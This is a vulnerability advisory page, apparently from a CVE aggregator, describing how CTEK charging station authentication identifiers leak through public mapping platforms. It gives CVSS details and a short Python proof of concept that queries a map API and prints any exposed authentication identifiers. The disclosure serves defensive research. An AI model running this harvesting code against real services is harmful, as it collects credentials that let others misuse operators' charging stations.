Charging station authentication identifiers are publicly accessible via web-based mapping platforms.
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
CTEK Charging Station (Specific versions prior to fix, refer to ICSA-26-078-06)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-28204: Authentication Identifier Leak via Web Map
# This script demonstrates how to extract sensitive IDs from a public map API.
import requests
import json
def check_map_leak(map_api_url):
try:
# Send a request to the public mapping platform API
response = requests.get(map_api_url)
if response.status_code == 200:
data = response.json()
# Iterate through stations to find exposed authentication identifiers
for station in data.get('stations', []):
station_id = station.get('id')
auth_id = station.get('auth_identifier') # The sensitive field
if auth_id:
print(f"[+] Vulnerability Found!")
print(f" Station ID: {station_id}")
print(f" Leaked Auth ID: {auth_id}")
else:
print("[-] Failed to retrieve data from the map API.")
except Exception as e:
print(f"[-] Error: {e}")
# Example usage (replace with actual target endpoint)
# target_url = "https://api.example-charging-map.com/v1/stations"
# check_map_leak(target_url)